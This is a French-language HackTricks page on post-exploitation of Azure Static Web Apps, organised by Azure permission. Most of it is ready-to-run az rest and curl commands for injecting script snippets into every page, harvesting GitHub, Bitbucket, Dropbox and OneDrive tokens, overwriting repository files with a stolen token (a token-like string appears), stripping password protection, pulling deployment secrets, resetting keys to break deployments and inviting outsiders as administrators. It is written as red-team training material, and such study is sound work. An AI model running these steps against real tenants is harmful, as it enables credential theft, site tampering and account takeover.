Az - Static Web Apps Post Exploitation

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Azure Static Web Apps

Pour plus d'informations sur ce service, consultez :

Az - Static Web Applications

Microsoft.Web/staticSites/snippets/write

Il est possible de faire charger une page web statique avec du code HTML arbitraire en créant un extrait. Cela pourrait permettre à un attaquant d'injecter du code JS dans l'application web et de voler des informations sensibles telles que des identifiants ou des clés mnémotechniques (dans des portefeuilles web3).

La commande suivante crée un extrait qui sera toujours chargé par l'application web :

bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'

Lire les identifiants de tiers configurés

Comme expliqué dans la section App Service :

Az - App Services Privesc

En exécutant la commande suivante, il est possible de lire les identifiants de tiers configurés dans le compte actuel. Notez que si, par exemple, des identifiants Github sont configurés dans un utilisateur différent, vous ne pourrez pas accéder au token d'un autre.

bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"

Cette commande renvoie des jetons pour Github, Bitbucket, Dropbox et OneDrive.

Voici quelques exemples de commandes pour vérifier les jetons :

bash
# GitHub – List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos

# Bitbucket – List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories

# Dropbox – List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'

# OneDrive – List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children

Écraser un fichier - Écraser des routes, HTML, JS...

Il est possible de Ă©craser un fichier Ă  l'intĂ©rieur du dĂ©pĂŽt Github contenant l'application via Azure en utilisant le token Github pour envoyer une requĂȘte telle que celle-ci, qui indiquera le chemin du fichier Ă  Ă©craser, le contenu du fichier et le message de commit.

Cela peut ĂȘtre exploitĂ© par des attaquants pour essentiellement modifier le contenu de l'application web afin de servir un contenu malveillant (voler des identifiants, des clĂ©s mnĂ©motechniques...) ou simplement pour rediriger certains chemins vers leurs propres serveurs en Ă©crasant le fichier staticwebapp.config.json.

warning

Notez que si un attaquant parvient à compromettre le dépÎt Github de quelque maniÚre que ce soit, il peut également écraser le fichier directement depuis Github.

bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'

Microsoft.Web/staticSites/config/write

Avec cette autorisation, il est possible de modifier le mot de passe protĂ©geant une application web statique ou mĂȘme de dĂ©protĂ©ger chaque environnement en envoyant une requĂȘte telle que la suivante :

bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'



# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'

Microsoft.Web/staticSites/listSecrets/action

Cette permission permet d'obtenir le jeton de déploiement de clé API pour l'application statique :

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"

Ensuite, afin de mettre à jour une application en utilisant le token, vous pourriez exécuter la commande suivante. Notez que cette commande a été extraite en vérifiant comment fonctionne Github Action https://github.com/Azure/static-web-apps-deploy, car c'est celle qu'Azure a définie par défaut à utiliser. Ainsi, l'image et les paramÚtres pourraient changer à l'avenir.

tip

Pour déployer l'application, vous pourriez utiliser l'outil swa de https://azure.github.io/static-web-apps-cli/docs/cli/swa-deploy#deployment-token ou suivre les étapes brutes suivantes :

  1. Téléchargez le dépÎt https://github.com/staticwebdev/react-basic (ou tout autre dépÎt que vous souhaitez déployer) et exécutez cd react-basic.
  2. Modifiez le code que vous souhaitez déployer.
  3. Déployez-le en exécutant (N'oubliez pas de changer le <api-token>):
bash
docker run --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose

warning

MĂȘme si vous avez le token, vous ne pourrez pas dĂ©ployer l'application si la Politique d'Autorisation de DĂ©ploiement est dĂ©finie sur Github. Pour utiliser le token, vous aurez besoin de la permission Microsoft.Web/staticSites/write pour changer la mĂ©thode de dĂ©ploiement afin d'utiliser le token API.

Microsoft.Web/staticSites/write

Avec cette permission, il est possible de changer la source de l'application web statique vers un autre dĂ©pĂŽt Github, cependant, cela ne sera pas provisionnĂ© automatiquement car cela doit ĂȘtre fait Ă  partir d'une action Github.

Cependant, si la Politique d'Autorisation de Déploiement est définie sur Github, il est possible de mettre à jour l'application à partir du nouveau dépÎt source !.

Dans le cas oĂč la Politique d'Autorisation de DĂ©ploiement n'est pas dĂ©finie sur Github, vous pouvez la changer avec la mĂȘme permission Microsoft.Web/staticSites/write.

bash
# Change the source to a different Github repository
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main

# Update the deployment method to Github
az rest --method PATCH \
--url "https://management.azure.com/subscriptions/<subscription-id>>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>?api-version=2022-09-01" \
--headers 'Content-Type=application/json' \
--body '{
"properties": {
"allowConfigFileUpdates": true,
"stagingEnvironmentPolicy": "Enabled",
"buildProperties": {
"appLocation": "/",
"apiLocation": "",
"appArtifactLocation": "build"
},
"deploymentAuthPolicy": "GitHub",
"repositoryToken": "<github_token>" # az rest --method GET --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
}
}'

Exemple d'Action Github pour déployer l'application :

yaml
name: Azure Static Web Apps CI/CD

on:
push:
branches:
- main
pull_request:
types: [opened, synchronize, reopened, closed]
branches:
- main

jobs:
build_and_deploy_job:
if: github.event_name == 'push' || (github.event_name == 'pull_request' && github.event.action != 'closed')
runs-on: ubuntu-latest
name: Build and Deploy Job
permissions:
id-token: write
contents: read
steps:
- uses: actions/checkout@v3
with:
submodules: true
lfs: false
- name: Install OIDC Client from Core Package
run: npm install @actions/core@1.6.0 @actions/http-client
- name: Get Id Token
uses: actions/github-script@v6
id: idtoken
with:
script: |
const coredemo = require('@actions/core')
return await coredemo.getIDToken()
result-encoding: string
- name: Build And Deploy
id: builddeploy
uses: Azure/static-web-apps-deploy@v1
with:
azure_static_web_apps_api_token: "12345cbb198a77a092ff885782a62a15d5aef5e3654cac1234509ab54547270704-4140ccee-e04f-424f-b4ca-3d4dd123459c00f0702071d12345" # A valid formatted token is needed although it won't be used for authentication
action: "upload"
###### Repository/Build Configurations - These values can be configured to match your app requirements. ######
# For more information regarding Static Web App workflow configurations, please visit: https://aka.ms/swaworkflowconfig
app_location: "/" # App source code path
api_location: "" # Api source code path - optional
output_location: "build" # Built app content directory - optional
github_id_token: ${{ steps.idtoken.outputs.result }}
###### End of Repository/Build Configurations ######

close_pull_request_job:
if: github.event_name == 'pull_request' && github.event.action == 'closed'
runs-on: ubuntu-latest
name: Close Pull Request Job
steps:
- name: Close Pull Request
id: closepullrequest
uses: Azure/static-web-apps-deploy@v1
with:
action: "close"

Microsoft.Web/staticSites/resetapikey/action

Avec cette permission, il est possible de réinitialiser la clé API de l'application web statique, ce qui peut potentiellement provoquer un DoS des workflows qui déploient automatiquement l'application.

bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"

Microsoft.Web/staticSites/createUserInvitation/action

Cette permission permet de créer une invitation à un utilisateur pour accéder à des chemins protégés à l'intérieur d'une application web statique avec un rÎle spécifique donné.

La connexion se trouve dans un chemin tel que /.auth/login/github pour github ou /.auth/login/aad pour Entra ID et un utilisateur peut ĂȘtre invitĂ© avec la commande suivante :

bash
az staticwebapp users invite \
--authentication-provider Github # AAD, Facebook, GitHub, Google, Twitter \
--domain mango-beach-071d9340f.4.azurestaticapps.net # Domain of the app \
--invitation-expiration-in-hours 168 # 7 days is max \
--name my-first-static-web-app # Name of the app\
--roles "contributor,administrator" # Comma sepparated list of roles\
--user-details username # Github username in this case\
--resource-group Resource_Group_1 # Resource group of the app

Pull Requests

Par dĂ©faut, les Pull Requests d'une branche dans le mĂȘme dĂ©pĂŽt seront automatiquement compilĂ©es et construites dans un environnement de staging. Cela pourrait ĂȘtre abusĂ© par un attaquant ayant un accĂšs en Ă©criture sur le dĂ©pĂŽt mais sans pouvoir contourner les protections de branche de la branche de production (gĂ©nĂ©ralement main) pour dĂ©ployer une version malveillante de l'application dans l'URL de staging.

L'URL de staging a ce format : https://<app-subdomain>-<PR-num>.<region>.<res-of-app-domain> comme : https://ambitious-plant-0f764e00f-2.eastus2.4.azurestaticapps.net

tip

Notez qu'en rĂšgle gĂ©nĂ©rale, les PR externes ne lanceront pas de workflows Ă  moins qu'elles n'aient fusionnĂ© au moins 1 PR dans le dĂ©pĂŽt. Un attaquant pourrait envoyer une PR valide au dĂ©pĂŽt et ensuite envoyer une PR malveillante au dĂ©pĂŽt pour dĂ©ployer l'application malveillante dans l'environnement de staging. CEPENDANT, il existe une protection inattendue, l'action Github par dĂ©faut pour dĂ©ployer dans l'application web statique a besoin d'accĂšs au secret contenant le token de dĂ©ploiement (comme secrets.AZURE_STATIC_WEB_APPS_API_TOKEN_AMBITIOUS_PLANT_0F764E00F) mĂȘme si le dĂ©ploiement est effectuĂ© avec l'IDToken. Cela signifie qu'une PR externe n'aura pas accĂšs Ă  ce secret et qu'une PR externe ne peut pas modifier le Workflow pour y placer un token arbitraire sans qu'une PR soit acceptĂ©e, cette attaque ne fonctionnera donc pas vraiment.

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks